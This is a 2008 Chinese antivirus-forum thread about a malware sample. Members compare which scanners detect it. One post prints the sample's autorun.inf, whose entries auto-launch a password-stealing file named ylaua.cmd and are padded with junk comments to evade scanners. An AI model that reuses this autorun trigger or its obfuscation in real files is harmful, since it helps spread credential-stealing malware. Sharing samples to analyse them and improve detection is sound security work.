最最复杂的autorun.inf

显示全部楼层 · 发表于 2008-9-18 01:03:53

哈哈，我新换的Nod32也把他搞定了。。不错

显示全部楼层 · 发表于 2008-9-18 01:58:47

那个.cmd文件相当于是个.exe
因此是会直接报毒

显示全部楼层 · 发表于 2008-9-18 07:31:14

谁分析下这个autorun.inf 的内容？

显示全部楼层 · 发表于 2008-9-18 09:14:36

这样呀^_^

显示全部楼层 · 发表于 2008-9-18 09:40:16

nis09～

显示全部楼层 · 发表于 2008-9-18 12:50:33

;5KJkO2iD3fKJljLjo15i
[AutoRun]
;wk730KaA2srakaeAslUe5AAr2Lrwcm8Aidla4jqwa1Sasdlds2ewlDJ3i4J4ikia4a2SL0wK0D3aK0o24lpK1w43w3klwJifI2ri3awsDKod1205LkLfSXisa
open=ylaua.cmd
;d2j4fZdk2w2kc90w83iwA4wldcIodeo2K0spCdDqJwJ1ol2skff0K29Kok2a1SdwlXaadK4735w7aL2wajaK2JsKjasDlDsK1iqHqL3okrr5f4askk5ea37o8p3fo
shell\open\Command=ylaua.cmd
;DsKjA74ac3XaiLSilrDed9dsw
shell\open\Default=1
;s0sKSi7oKs3JsDjZKaLDDI4ra25ds14s07dl35k8l7wc4dekoaKL2q1dfLCs4sAawa0Jpw2Lnil2339s2A50dAjl1SrDla43KwlwaKrako3iK
shell\explore\Command=ylaua.cmd
;His2sDwILlaDa0Kiw33doKK3r71kL522Kr3j7qZkaes81aqJjiFlffSwjq2oJJ9Smj4lfkAlZ

显示全部楼层 · 发表于 2008-9-18 16:36:30

原帖由 ahzsmzkf 于 2008-9-17 21:37 发表
[AutoRun]

open=ylaua.cmd

shell\open\Command=ylaua.cmd

shell\open\Default=1

shell\explore\Command=ylaua.cmd

这个有点牛

底层驱动klif.sys
和鼠标挂钩kavo0.dll

我截图没办法截

同意这位，里面的应该是屏蔽掉的干扰符来的。

显示全部楼层 · 发表于 2008-9-18 20:54:17

McAfee 报了1个。。

ylaua.cmd PWS-Gamania.gen.a
autorun.inf no

显示全部楼层 · 发表于 2008-9-19 21:26:01

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Trojan.Win32.Vaklik.sh

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.62.42

[病毒样本] 最最复杂的autorun.inf

本帖子中包含更多资源

本帖子中包含更多资源

3/1